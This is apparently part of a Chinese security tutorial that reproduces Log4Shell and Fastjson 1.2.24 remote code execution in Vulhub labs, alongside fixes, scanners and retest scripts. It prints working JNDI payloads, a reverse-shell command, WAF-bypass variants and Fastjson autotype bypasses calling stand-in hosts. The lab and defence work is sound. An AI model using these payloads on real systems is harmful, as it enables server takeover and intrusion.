| “怎么快速判断一个站有没有 Shiro-550?” | ① 发个请求看响应有没有 rememberMe=deleteMe(Shiro 指纹);② 用 URLDNS 链 + 默认密钥发一次,看 dnslog 有没有记录(无害验证) |
| “为什么 CC 链在 Shiro 上可能失败,要用 CB 链?” | 因为 Shiro 自身依赖 commons-beanutils,但项目不一定依赖 commons-collections。CB 链(CommonsBeanutils1)依赖 beanutils,所以命中率更高。实战两个都试 |
| “修复后还会被绕过吗?” | 如果只升级 Shiro 但不改密钥,攻击者如果能拿到你的密钥(比如配置文件泄露)还是能打。所以改密钥是必须的,而且不能是可预测的单词 |
| “这个漏洞给你什么启发?” | ① 任何框架默认值都要改;② 密钥不能进代码仓库(我们用 gitleaks 在 CI 里卡);③ 依赖要定期扫描(SCA) |
6.5 Log4Shell 完整复现(CVE-2021-44228)
这是本世纪影响最大的漏洞之一,值得单独用一整节讲清楚。
漏洞编号:CVE-2021-44228,CVSS 10.0(满分) 影响版本:Apache Log4j2 2.0-beta9 ~ 2.14.1 发现时间:2021 年 12 月 9 日(那天几乎所有互联网公司的安全/运维都在通宵) 一句话原理:Log4j2 在打印日志时,会把日志内容里的
${...}当成表达式去求值。 其中${jndi:ldap://攻击者服务器/a}会触发 JNDI 查询, 去攻击者的服务器下载一个 Java 类并加载执行 —— 于是打一行日志 = RCE。
6.5.1 为什么它这么恐怖?(四个“史无前例”)
| 维度 | 说明 |
|---|---|
| ① 无处不在 | Log4j 是 Java 世界最基础的日志库。你的项目可能没直接用,但你依赖的框架用了(Elasticsearch、Kafka、Flink、Spark、Struts、Solr、Druid、Minecraft…)。有统计说全球数亿台设备受影响 |
| ② 触发极其容易 | 不需要登录、不需要特定接口。任何会把用户输入写进日志的地方都行:登录框的用户名、User-Agent 头、订单备注、搜索关键词…… |
| ③ 利用极其简单 | payload 就一串字符:${jndi:ldap://xxx.dnslog.cn/a}。复制粘贴就能打 |
| ④ 防御极其困难 | ${ 这个语法可以嵌套和变形(${${lower:j}ndi:...}),传统的“拦截 jndi: 字符串”的 WAF 规则一绕就过 |
生活类比: 假设快递公司有个规矩:“包裹备注栏里如果写了
【查号台:XXX】这种格式,快递员就要真的打电话去 XXX 查号”。 这个规矩本来是为了方便内部查询。 结果有人在备注栏写:【查号台:骗子公司电话】, 快递员就真打了骗子电话,骗子说:“你先把收件人身份证号念给我听,再把包裹送到我这里来。” 快递员照做了。问题出在哪? 出在“备注栏的内容不该被当成指令执行“。 Log4j 的错误就是:它把”数据“当成了”代码“。
6.5.2 五个名词逐个拆开(必须懂,否则后面看不懂)
| 名词 | 白话解释 |
|---|---|
| Log4j / Log4j2 | Java 的日志框架(还有个前辈叫 Log4j 1.x,和这个漏洞无关)。logger.info("用户登录:" + username) 就是它干的活 |
| Lookup(查找) | Log4j 的一个功能:日志里写 ${...},它会在打印时去“查”一下这个东西的真实值再打出来。比如 ${java:version} 会打印出 JDK 版本 |
| JNDI | Java 的“按名字查资源“接口。它支持很多”后端“:LDAP、RMI、DNS、CORBA…… 你给它一个名字,它去对应的服务上找 |
| LDAP | 一种目录服务协议(公司里的“员工通讯录”常用它)。在 Log4Shell 里它被用来传递恶意 Java 类的下载地址 |
| RMI | Java 的远程方法调用。和 LDAP 一样,是 JNDI 的另一个“后端”,也能用来投递恶意类 |
关键理解:JNDI + LDAP 是怎么变成 RCE 的?
JNDI 查 LDAP 时,LDAP 服务器可以返回一个“引用”(Reference),里面写着“这个对象在 http://evil.com/Exploit.class 这个地址,你去下载它”。
JNDI 客户端(也就是受害服务器)会真的去下载并加载这个类。
加载一个类 = 执行它的静态代码块/static 初始化代码 = RCE。
Log4j 打印日志:"${jndi:ldap://evil.com/a}"
│
▼
Log4j 发现 ${...} → 触发 Lookup → 识别前缀是 jndi:
│
▼
交给 JNDI 处理:InitialContext.lookup("ldap://evil.com/a")
│
▼
JNDI 连上 evil.com 的 LDAP 服务(攻击者搭建的)
│
▼
LDAP 服务返回一条记录,里面有个 javaCodeBase 属性:
"http://evil.com/Exploit.class"
│
▼
★ JNDI 客户端真的去下载这个 class 文件
│
▼
★ 用 ClassLoader 加载它 → 执行 static{} 静态代码块
│
▼
💥 攻击者的代码在服务器上执行了
6.5.3 动手:用 Vulhub 复现
cd ~/vulhub/log4j/CVE-2021-44228
docker compose up -d
docker compose ps
# 预期:
# NAME SERVICE STATUS PORTS
# cve-2021-44228-solr-1 solr Up 127.0.0.1:8983->8983/tcp
# 探活(这个靶场是一个 Apache Solr 8.11.0,内部用了有漏洞的 Log4j 2.14.1)
curl -s "http://127.0.0.1:8983/solr/admin/cores?action=STATUS" | head -30
第 1 步:用 DNS 验证漏洞存在(无害)
去 dnslog.cn 点 “Get SubDomain”,拿到一个域名,比如 abc7de.dnslog.cn。
# 这个靶场的注入点在 Solr 的管理接口参数里
curl -s 'http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://abc7de.dnslog.cn/test}'
回到 dnslog.cn 点 “Refresh Record”:
预期看到:
DNS Query Record
abc7de.dnslog.cn 106.xx.xx.xx 2026-09-04 03:20:15
这条 DNS 记录说明什么? 说明服务器真的去解析了
abc7de.dnslog.cn—— 也就是执行了${jndi:...}。 漏洞确认存在。这一步是安全的:只做 DNS 解析,没有下载任何类,不会造成危害。 实战中永远先用 URLDNS / DNS 探测确认漏洞,再考虑进一步利用。
第 2 步:搭建攻击者的 LDAP + HTTP 服务
攻击者的服务器需要同时提供两个服务:
- LDAP 服务(1389 端口):告诉受害者“恶意类在
http://攻击者IP:8888/Exploit.class” - HTTP 服务(8888 端口):真的把这个
.class文件提供出去
用现成的工具 JNDIExploit(最省事):
# 下载 JNDIExploit
cd ~/tools
curl -L -o JNDIExploit.jar \
"https://github.com/feihong-cs/JNDIExploit/releases/download/v1.4/JNDIExploit-1.4-SNAPSHOT.jar"
# 启动(同时起 LDAP + RMI + HTTP)
# -i 攻击机 IP(容器要能访问到,Docker Desktop 用 host.docker.internal)
java -jar JNDIExploit.jar -i host.docker.internal -p 8888
# 预期输出:
# [+] LDAP Server Start Listening on 1389...
# [+] RMI Server Start Listening on 1099...
# [+] HTTP Server Start Listening on 8888...
# [+] Target Token: ...
JNDIExploit 提供的“利用模板”(这些路径内置了不同用途的 payload):
| 路径 | 作用 |
|---|---|
ldap://IP:1389/Basic/Command/Base64/[base64命令] |
直接执行一条命令 |
ldap://IP:1389/Basic/ReverseShell/[IP]/[PORT] |
反弹 Shell |
ldap://IP:1389/Basic/TomcatEcho |
回显(针对 Tomcat) |
ldap://IP:1389/Basic/Dnslog/[域名] |
只做 DNS 探测 |
第 3 步:执行命令
# 先在本地把命令 base64 编码
echo -n 'touch /tmp/LOG4SHELL_PWNED' | base64 -w0
# 输出:dG91Y2ggL3RtcC9MT0c0U0hFTExfUFdORUQ=
# 构造 payload
PAYLOAD='${jndi:ldap://host.docker.internal:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9MT0c0U0hFTExfUFdORUQ=}'
# 注意:URL 里的特殊字符要编码(用 --data-urlencode 或 curl -G)
curl -s -G 'http://127.0.0.1:8983/solr/admin/cores' \
--data-urlencode "action=$PAYLOAD"
# 或者手工编码:${ → %24%7B
curl -s 'http://127.0.0.1:8983/solr/admin/cores?action=%24%7Bjndi:ldap://host.docker.internal:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9MT0c0U0hFTExfUFdORUQ=%7D'
JNDIExploit 那边会显示:
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9MT0c0U0hFTExfUFdORUQ=
[+] Sending LDAP Resource Reference to http://host.docker.internal:8888/ExecTemplateJDK8.class
[+] New HTTP Request From /172.20.0.3 GET /ExecTemplateJDK8.class
[+] Command Executed: touch /tmp/LOG4SHELL_PWNED
验证:
docker exec cve-2021-44228-solr-1 ls -la /tmp/LOG4SHELL_PWNED
# 预期:
# -rw-r--r-- 1 solr solr 0 Sep 4 03:25 /tmp/LOG4SHELL_PWNED
# ★ 存在 = RCE 成功
第 4 步:反弹 Shell
# 攻击机开监听(终端 1)
nc -lvnp 6666
# 终端 2:发 payload(注意 IP 用容器能访问到的地址)
curl -s 'http://127.0.0.1:8983/solr/admin/cores?action=%24%7Bjndi:ldap://host.docker.internal:1389/Basic/ReverseShell/host.docker.internal/6666%7D'
# 终端 1 应该拿到 shell
6.5.4 WAF 绕过:为什么这个漏洞拦不住
这是 Log4Shell 最有技术含量的部分,面试讲这个非常加分。
原因:${} 支持嵌套求值和“默认变量”语法 :-
# 变形 1:用 ${lower:} 把 J 变小写 → 字符串里不再有连续的 "jndi:"
${${lower:j}ndi:ldap://evil.com/a}
# ↑ 先求值 ${lower:j} 得到 "j",拼起来还是 "jndi:..."
# 变形 2:多层嵌套
${${lower:j}${lower:n}${lower:d}i:ldap://evil.com/a}
# 变形 3:用 ${::-} 插入一个"空默认值"
# 语法 ${key:-default} 意思是:取环境变量 key,如果不存在就用 default
${jndi:ldap://127.0.0.1:1389/#} # 原始
${${env:foo:-j}ndi:ldap://evil.com/a} # 插空
${j${::-n}di:ldap://evil.com/a} # 在中间插
# 变形 4:用大小写混淆 + 环境变量
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap://evil.com/a}
# 变形 5:用 sys/java 里的属性拼
${jndi:${lower:l}dap://evil.com/a}
# 变形 6:Upper/Lower 组合(Cloudflare 当年观察到的真实绕过)
${j${upper:n}di:ldap://evil.com/a}
绕过原理图解:
WAF 的规则:if (请求 contains "jndi:") 就拦截
│
▼
攻击者发:${${lower:j}ndi:ldap://...}
│
▼
WAF 检查:字符串里有 "jndi:" 吗?
→ 没有!只有 "${lower:j}ndi:" ← 中间的 "j" 被 ${...} 隔开了
→ 放行
│
▼
Log4j 收到后求值:${lower:j} = "j"
→ 拼成 "jndi:ldap://..."
→ 触发 JNDI
→ 💥 RCE
核心矛盾:WAF 看到的是“字面量”,Log4j 看到的是“求值后的结果”。 只要存在“求值”这一步,字面量检查就永远可以被绕过。
面试金句: “Log4Shell 最难防的地方在于它不是一个简单的字符串匹配问题。 Log4j 的
${}语法支持嵌套求值和${key:-default}插入, 攻击者可以构造出无数种写法,字面量都不含jndi:,但求值后都是同一个东西。 所以基于规则的 WAF 本质上防不住,只能靠升级版本 + 输入过滤。 我们当时的做法是:先把 WAF 规则加上作为临时缓解(拦住脚本小子的批量扫描), 但不依赖它,真正的修复是两天内把所有应用的 Log4j 升到 2.17.1。”
6.5.5 修复:四条路,从应急到根治
【应急方案 1】JVM 启动参数(最快,1 分钟生效)
# Log4j 2.10+ 可用:关闭消息里的 Lookup 功能
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
# Log4j 2.0-beta9 ~ 2.10 之间(不支持上面的参数),用这个:
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
-jar app.jar
【应急方案 2】删除 JndiLookup 类(不改代码,改依赖包)
# 找到所有 log4j-core 的 jar
find / -name "log4j-core-*.jar" 2>/dev/null
# 直接从 jar 里删掉 JndiLookup.class(不需要重启 JDK,但要重启应用)
zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 验证删干净了
unzip -l log4j-core-2.14.1.jar | grep -i jndilookup
# 预期:无输出 = 删干净了
# ★ 批量脚本(应急时救命)
for jar in $(find /app -name "log4j-core-*.jar"); do
echo "处理:$jar"
zip -q -d "$jar" org/apache/logging/log4j/core/lookup/JndiLookup.class 2>/dev/null && echo " ✅ 已删除" || echo " ⚠️ 删除失败或本来就没有"
done
【根治方案 3】升级版本(★ 唯一正确答案)
<!-- pom.xml -->
<properties>
<!-- ✅ 2.17.1 是第一个完全安全的版本
2.15.0 修了 RCE 但还有 CVE-2021-45046(DoS / 特定配置下 RCE)
2.16.0 禁了 JNDI 但还有 CVE-2021-45105(DoS)
★ 直接上 2.17.1 或更高 -->
<log4j2.version>2.23.1</log4j2.version>
</properties>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j2.version}</version>
</dependency>
如果是 Spring Boot 项目(默认用 Logback,但可能被依赖带进来 Log4j):
<properties>
<log4j2.version>2.23.1</log4j2.version>
</properties>
<!-- ★ 光改 dependency 没用,必须覆盖 Spring Boot 的 dependencyManagement -->
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-bom</artifactId>
<version>2.23.1</version>
<scope>import</scope>
<type>pom</type>
</dependency>
</dependencies>
</dependencyManagement>
版本对照表(面试常被问“该升到哪个版本”):
| 版本 | 状态 | 说明 |
|---|---|---|
| 2.0-beta9 ~ 2.14.1 | ❌ 高危 | CVE-2021-44228(RCE,10.0) |
| 2.15.0 | ⚠️ 仍有问题 | 修了 44228,但有 CVE-2021-45046(特定配置下 RCE,9.0) |
| 2.16.0 | ⚠️ 基本可用 | 禁用 JNDI + 禁用消息 Lookup,但有 CVE-2021-45105(DoS) |
| 2.17.0 | ✅ 安全 | 修了 45105 |
| 2.17.1 | ✅ 推荐基线 | 修了 CVE-2021-44832(JDBC Appender RCE,6.6) |
| 2.23.1+ | ✅ 当前推荐 | 后续还修了 CVE-2023-26464 等 |
【方案 4】代码层面:不要直接拼接用户输入进日志
// ❌ 危险:用户输入直接进日志,如果 Log4j 有漏洞就可能被利用
log.info("用户登录失败,用户名:" + username);
// ✅ 更安全的习惯:用参数化占位符(虽然对 Log4Shell 本身不免疫,
// 但能让"异常字符"更容易被发现,也是良好的工程习惯)
log.info("用户登录失败,用户名:{},IP:{}", username, ip);
// ✅ 输入净化(纵深防御):去掉日志里的 ${ 这种敏感模式
public static String sanitizeForLog(String input) {
if (input == null) return null;
return input.replace("$", "").replace("{", "").replace("}", "");
}
log.info("用户输入:{}", sanitizeForLog(userInput));
6.5.6 自查:我的项目有没有中招?
方法 1:看依赖树
# Maven
mvn dependency:tree | grep -i log4j
# 预期如果看到:
# [INFO] +- org.apache.logging.log4j:log4j-core:jar:2.14.1:compile ← ❌ 中招
# [INFO] +- org.apache.logging.log4j:log4j-core:jar:2.23.1:compile ← ✅ 安全
# Gradle
./gradlew dependencies | grep -i log4j
方法 2:直接扫 jar 包(适用于已经打好的包/线上的机器)
cat > /tmp/scan_log4j.sh <<'SCRIPT'
#!/bin/bash
# 扫描本机所有 jar 里的 Log4j 版本(应急自查用)
echo "=== Log4j 漏洞自查 ==="
echo "扫描路径:${1:-/}"
found=0
# 1. 找所有 jar
find "${1:-/}" -name "*.jar" -type f 2>/dev/null | while read jar; do
# 2. 看 jar 里有没有 JndiLookup.class(有就说明是受影响版本)
if unzip -l "$jar" 2>/dev/null | grep -qi "log4j/core/lookup/JndiLookup.class"; then
# 3. 读版本号
ver=$(unzip -p "$jar" "META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties" 2>/dev/null \
| grep "^version=" | cut -d= -f2)
echo " ❌ 受影响:$jar (log4j-core $ver)"
fi
done
# 4. 也找嵌套的 jar(fat jar / war / ear 里可能还包着 jar)
find "${1:-/}" \( -name "*.war" -o -name "*.ear" \) -type f 2>/dev/null | while read w; do
cnt=$(unzip -l "$w" 2>/dev/null | grep -c "log4j-core.*\.jar")
[ "$cnt" -gt 0 ] && echo " ⚠️ 归档包内含 log4j-core:$w (${cnt} 处)"
done
echo ""
echo "=== 检查 JVM 缓解参数 ==="
jps -lv 2>/dev/null | grep -i "log4j2.formatMsgNoLookups" \
&& echo " ✅ 有应用已启用缓解参数" \
|| echo " ⚠️ 未发现启用 log4j2.formatMsgNoLookups=true 的 Java 进程"
SCRIPT
chmod +x /tmp/scan_log4j.sh
# /tmp/scan_log4j.sh /app
方法 3:用专业工具(推荐)
# Log4j-detector(Google 开源,能识别被重打包/改名的 Log4j)
java -jar log4j-detector.jar /app
# 或者用 trivy / grype 扫镜像
trivy image --severity CRITICAL myapp:latest | grep -i log4j
# 或者用 Nuclei(第九章会讲)
nuclei -u http://target -t cves/2021/CVE-2021-44228.yaml
6.5.7 复测脚本
cat > /tmp/verify_log4shell.sh <<'SCRIPT'
#!/bin/bash
# Log4Shell 修复复测
TARGET="${1:-http://127.0.0.1:8983}"
DNS="${2:-abc7de.dnslog.cn}" # 换成你自己的 dnslog 域名
echo "=== Log4Shell 修复复测(共 8 项)==="
echo "说明:去 dnslog.cn 点 Refresh Record,如果【没有】来自服务器 IP 的记录 = 通过"
echo ""
# 8 种变形 payload,都要试(因为修复不完整时可能只挡住原始形式)
declare -a PAYLOADS=(
'${jndi:ldap://DNS/a}'
'${${lower:j}ndi:ldap://DNS/a}'
'${${upper:j}ndi:ldap://DNS/a}'
'${j${::-n}di:ldap://DNS/a}'
'${${env:foo:-j}ndi:ldap://DNS/a}'
'${jndi:rmi://DNS/a}'
'${jndi:dns://DNS/a}'
'${jndi:${lower:l}dap://DNS/a}'
)
i=1
for p in "${PAYLOADS[@]}"; do
real="${p//DNS/$DNS}"
enc=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$real")
curl -s -o /dev/null -m 10 \
"http://127.0.0.1:8983/solr/admin/cores?action=$enc"
printf " [%d] 已发送:%s\n" "$i" "${real:0:50}"
i=$((i+1))
done
echo ""
echo "→ 现在去 $DNS 的 dnslog 页面点 Refresh Record"
echo " 预期:0 条记录(如果有记录,说明该变形仍能触发)"
echo ""
echo "=== 版本自查 ==="
echo " mvn dependency:tree | grep log4j # 要求 log4j-core >= 2.17.1"
echo " java -jar log4j-detector.jar /app # 检查 fat jar 里的嵌套依赖"
SCRIPT
chmod +x /tmp/verify_log4shell.sh
6.5.8 面试怎么讲(1 分钟口述版)
“Log4Shell 是 CVE-2021-44228,CVSS 满分 10.0,影响 Log4j2 的 2.0-beta9 到 2.14.1。
原理:Log4j2 有个 Lookup 功能,日志里写
${xxx}它会在打印时去求值。 其中${jndi:ldap://...}会触发 JNDI 查询,从攻击者控制的 LDAP 服务器下载一个 Java 类并加载, 加载类就会执行静态代码块,于是打一行日志就 RCE。为什么危害这么大:第一,Log4j 无处不在,很多中间件都依赖它; 第二,触发点极多,任何把用户输入写进日志的地方都行,比如登录用户名、User-Agent; 第三,难防,因为
${}支持嵌套求值,${${lower:j}ndi:...}这种变形 字面量里没有jndi:,WAF 基于字符串匹配的规则根本拦不住。我在 Vulhub 上复现过:起一个 Solr 8.11 的靶场,用 JNDIExploit 搭 LDAP + HTTP 服务, 一个带
${jndi:ldap://...}的 URL 参数,就在容器里创建了文件。我们的处置分三层: 应急当天,先给所有 Java 进程加了
-Dlog4j2.formatMsgNoLookups=true启动参数止血; 同时用脚本批量删除 jar 里的JndiLookup.class; 根本修复是两天内把所有服务的 Log4j 升到 2.17.1, 特别注意 Spring Boot 项目要用 dependencyManagement 覆盖 BOM,光改 dependency 版本没用。 之后我们把 trivy 镜像扫描 + SCA 依赖扫描加进了 CI,每周自动扫一次。“
追问准备:
| 追问 | 怎么答 |
|---|---|
| “为什么升到 2.15.0 还不够?” | 2.15.0 只修了 44228,还有 CVE-2021-45046(特定配置下 RCE)和 45105(DoS)。必须到 2.17.1 才算完全修完(44832 也修了) |
| “WAF 能不能防住?” | 只能拦住最简单的原始 payload,对 ${${lower:j}ndi:} 这类变形无能为力。因为WAF 看字面量,Log4j 看求值结果。WAF 只能当临时缓解,不能当修复 |
| “怎么知道自己的服务有没有中招?” | ① mvn dependency:tree 看版本;② 用 Google 的 log4j-detector 扫 fat jar(能识别被重打包的);③ 用 dnslog 发一个 ${jndi:ldap://xxx.dnslog.cn/a} 做验证 |
| “2.17.1 之后 Log4j 还有漏洞吗?” | 有,但都不是 RCE 级别。比如 CVE-2023-26464(DoS,HashMap 哈希碰撞)。所以还是要持续做 SCA 扫描 |
| “这个漏洞给你什么教训?” | ① 依赖管理要有台账(SBOM);② 要有应急能力(出了 0day 能不能 48 小时内全量升级);③ 日志里的用户输入要净化 |
6.6 Fastjson 反序列化(1.2.24 RCE)
漏洞:Fastjson ≤ 1.2.24 的 autotype 功能导致 RCE 影响:Fastjson 是阿里开源的 JSON 库,国内使用量极大(比 Jackson 在某些场景下更快、API 更“顺手”) 一句话原理:JSON 里写
"@type":"com.sun.rowset.JdbcRowSetImpl", Fastjson 会按这个名字去加载类并还原对象, 而还原过程中会调用它的 setter 方法,其中某个 setter 会触发 JNDI 查询 → RCE。
6.6.1 两个名词
| 名词 | 白话解释 |
|---|---|
| Fastjson | 阿里开源的 Java JSON 库。JSON.parseObject(json, User.class) 就是它 |
| autotype | Fastjson 的一个功能:JSON 里用 @type 字段指定“要还原成哪个类”。设计初衷是为了支持“多态”(JSON 里存的是子类,还原时也要变成子类) |
autotype 为什么危险? 因为它让 JSON 字符串可以决定“服务器要加载哪个类、调用哪个 setter”。 这等于把“类加载权”交给了外部输入——和 6.2 反序列化的根因一模一样。
对比一下这四种漏洞的根因(面试讲这个非常体现体系化理解):
| 漏洞 | 外部数据决定了什么 | 根因 |
|---|---|---|
| Shiro-550 | 要还原哪个对象(序列化字节流) | 硬编码密钥 + 反序列化 |
| Log4Shell | 要去查什么资源(${jndi:...}) |
把“数据”当“表达式”求值 |
| Fastjson | 要加载哪个类(@type) |
把“数据”当“类型名” |
| SpEL 注入(6.7) | 要执行什么表达式(${T(...)}) |
把“数据”当“代码”求值 |
一句话总结这四个: 都是“外部输入控制了’该执行什么’”,区别只在于’控制的方式’不同。 防御思路也统一:凡是“由数据决定行为”的地方,都要有白名单。
6.6.2 攻击链条图
攻击者构造 JSON:
{
"@type": "com.sun.rowset.JdbcRowSetImpl", ← ① 指定要加载这个类(JDK 自带,无需额外依赖)
"dataSourceName": "ldap://evil.com/Exploit", ← ② 设置它的 dataSourceName 属性
"autoCommit": true ← ③ 设置 autoCommit(这是个 boolean)
}
│
▼
Fastjson 解析:
- 看到 @type → 去加载 com.sun.rowset.JdbcRowSetImpl,new 一个实例
- 看到 dataSourceName → 调用 setDataSourceName("ldap://evil.com/Exploit")
- 看到 autoCommit → 调用 setAutoCommit(true)
│
▼
★ JdbcRowSetImpl.setAutoCommit() 的内部实现(JDK 源码):
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect(); // ← 没有连接,就去建立连接
}
}
private Connection connect() throws SQLException {
...
DataSource ds = (DataSource) new InitialContext()
.lookup(this.getDataSourceName()); // ← ★★ 这里是 JNDI 查询!
...
}
│
▼
InitialContext.lookup("ldap://evil.com/Exploit")
│
▼
和 Log4Shell 完全一样:LDAP 返回 javaCodeBase → 下载 Exploit.class → 加载执行
│
▼
💥 RCE
注意看这里:攻击者没有写任何代码,只是设置了两个普通的属性值。 是 JDK 自带的
JdbcRowSetImpl类在自己正常的业务逻辑里做了 JNDI 查询。 这就是 Gadget Chain 的威力——用的是正版零件。
6.6.3 动手:用 Vulhub 复现
cd ~/vulhub/fastjson/1.2.24-rce
docker compose up -d
docker compose ps
# 预期:
# NAME SERVICE STATUS PORTS
# fastjson-124-rce-web-1 web Up 127.0.0.1:8090->8090/tcp
# 探活:发一个正常 JSON
curl -s -X POST http://127.0.0.1:8090/ \
-H "Content-Type: application/json" \
-d '{"name":"朱宏晖","age":18}'
# 预期:返回解析后的结果,或 "Hello"
第 1 步:DNS 验证(无害)
curl -s -X POST http://127.0.0.1:8090/ \
-H "Content-Type: application/json" \
-d '{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://abc7de.dnslog.cn/test",
"autoCommit": true
}'
# 去 dnslog.cn 刷新 → 应该看到 abc7de.dnslog.cn 的解析记录
第 2 步:真正 RCE
# 攻击机起 JNDIExploit(和 Log4Shell 用同一个工具)
java -jar ~/tools/JNDIExploit.jar -i host.docker.internal -p 8888
# base64 编码命令
echo -n 'touch /tmp/FASTJSON_PWNED' | base64 -w0
# 输出:dG91Y2ggL3RtcC9GQVNUSlNPTl9QV05FRA==
# 发 payload
curl -s -X POST http://127.0.0.1:8090/ \
-H "Content-Type: application/json" \
-d '{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://host.docker.internal:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9GQVNUSlNPTl9QV05FRA==",
"autoCommit": true
}'
# 验证
docker exec fastjson-124-rce-web-1 ls -la /tmp/FASTJSON_PWNED
# 预期:文件存在 = RCE 成功
第 3 步:另一种利用方式(TemplatesImpl,需要服务端开了 SupportNonPublicField)
# 如果目标服务端解析时开了 Feature.SupportNonPublicField,可以用 TemplatesImpl 链
# 原理:把恶意类的字节码 base64 后塞进 _bytecodes 字段,Fastjson 还原时加载它
# 生成 payload(用工具)
java -jar ~/tools/ysoserial.jar CommonsCollections3 "touch /tmp/FASTJSON_PWNED2" > /tmp/tpl.ser
# 实际构造较复杂,实战用现成工具(如 fastjson_rce_tool、Burp 的 FastjsonScan 插件)
# 简化演示 payload(理解用):
# {
# "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
# "_bytecodes": ["<恶意类字节码的 base64>"],
# "_name": "a.b",
# "_tfactory": {},
# "_outputProperties": {}
# }
6.6.4 绕过史:Fastjson 的“打地鼠”(★ 了解这段历史特别加分)
Fastjson 的修复史堪称**“道高一尺魔高一丈”的典型案例。面试讲这段能体现你对“安全是过程不是状态”**的理解。
| 版本区间 | 防御措施 | 绕过手法 |
|---|---|---|
| ≤ 1.2.24 | 无(autotype 默认开) | 直接用 @type |
| 1.2.25 ~ 1.2.41 | 加了 autotype 黑名单,默认关闭 | 类名前后加 L 和 ;:"@type":"Lcom.sun.rowset.JdbcRowSetImpl;"(这是 JVM 的类型描述符写法,Fastjson 会去掉 L/; 再加载,但黑名单没匹配到) |
| 1.2.42 | 黑名单改成哈希(防止看源码就知道屏蔽了谁);过滤 L/; |
双写绕过:"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;"(过滤一次后还剩一对) |
| 1.2.43 | 检测到 LL 开头就抛异常 |
改用 [ 数组写法:"@type":"[com.sun.rowset.JdbcRowSetImpl"[{...}] |
| 1.2.44 ~ 1.2.46 | 修了 [ |
用其他 Gadget(如 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,需要目标有 mybatis 依赖) |
| 1.2.47 及之前 | 增加了 checkAutoType 的缓存判断 | ★ “缓存绕过”:先用 java.lang.Class 把恶意类“注册”进缓存,第二步就能直接用。这个绕过通杀 1.2.25~1.2.47 |
| 1.2.48 | 修了缓存绕过(缓存默认关闭) | — |
| 1.2.68 / 1.2.80 | 又有新的绕过(需要特定依赖,如 expectClass 机制) |
— |
| 1.2.83+ | safeMode 默认更安全 | 目前无明显通用绕过 |
1.2.47 的“缓存绕过”payload(经典,值得记住):
{
"a": {
"@type": "java.lang.Class", // ① 先让 Fastjson 加载这个"正常"的类
"val": "com.sun.rowset.JdbcRowSetImpl" // 并把 JdbcRowSetImpl 塞进 mappings 缓存
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl", // ② 第二次用的时候,checkAutoType 查缓存发现"有了"
"dataSourceName": "ldap://evil.com/Exploit", // 直接放行(缓存优先级高于黑名单!)
"autoCommit": true
}
}
这个绕过的精妙之处: Fastjson 的
checkAutoType逻辑顺序是:1. 先查缓存 mappings → 有就直接用(不检查黑名单!) 2. 再检查白名单 3. 再检查黑名单 4. 最后才加载类攻击者利用第 1 步,先把恶意类塞进缓存,之后就绕过了第 3 步的黑名单检查。
安全设计启示:缓存/白名单/黑名单的检查顺序至关重要。 凡是“某个分支能跳过后续所有安全检查”的设计,都极可能被利用。 正确的做法是:缓存命中也要再过一遍黑名单。
6.6.5 修复
<!-- 【方案 1,推荐】升级到 1.2.83+ -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<!-- 【方案 2,更彻底】换成 fastjson2(阿里重写的,架构上更安全) -->
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.52</version>
</dependency>
<!-- 【方案 3,最彻底】换 Jackson(Spring Boot 默认,无 autotype 机制) -->
<!-- Spring Boot 自带,不用额外引 -->
代码层面加固:
// 【加固 1】关闭 autotype(全局,推荐放在启动类或配置类里)
ParserConfig.getGlobalInstance().setSafeMode(true); // ★ fastjson 1.2.68+ 支持
// safeMode 的效果:完全禁止 autotype,任何 @type 都会被拒绝
// 【加固 2】如果确实需要 autotype,用白名单(绝不能用黑名单!)
ParserConfig.getGlobalInstance().addAccept("com.example.dto."); // 只信任自己包的类
// ★ 原理对比:
// 黑名单:列举"不能用的" → 攻击者总能找到你没列的
// 白名单:列举"能用的" → 攻击者找不到新的
// 【加固 3】解析时显式指定类型,不给 @type 机会
User user = JSON.parseObject(json, User.class); // ✅ 明确说"我要 User"
Object obj = JSON.parse(json); // ❌ 会按 @type 加载任意类
// 【加固 4】用 parseObject 而不是 parse
// parse() + 强转 是危险写法
若不能升级(应急):
// 在应用启动时执行(反射方式关闭,适用于老版本)
System.setProperty("fastjson.parser.autoTypeSupport", "false");
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
检测工具:
# 探测目标 Fastjson 版本(用 DNS 外带,无害)
curl -s -X POST http://target/api \
-H "Content-Type: application/json" \
-d '{"@type":"java.net.Inet4Address","val":"abc7de.dnslog.cn"}'
# 如果 dnslog 收到解析 → 说明 autotype 开着(1.2.24 或配置了 autoTypeSupport=true)
# 用 Burp 插件 FastjsonScan 自动探测 + 利用
# 或者用 Nuclei
nuclei -u http://target -t vulnerabilities/fastjson/
6.6.6 复测脚本
cat > /tmp/verify_fastjson.sh <<'SCRIPT'
#!/bin/bash
# Fastjson 修复复测
TARGET="${1:-http://127.0.0.1:8090}"
DNS="${2:-abc7de.dnslog.cn}"
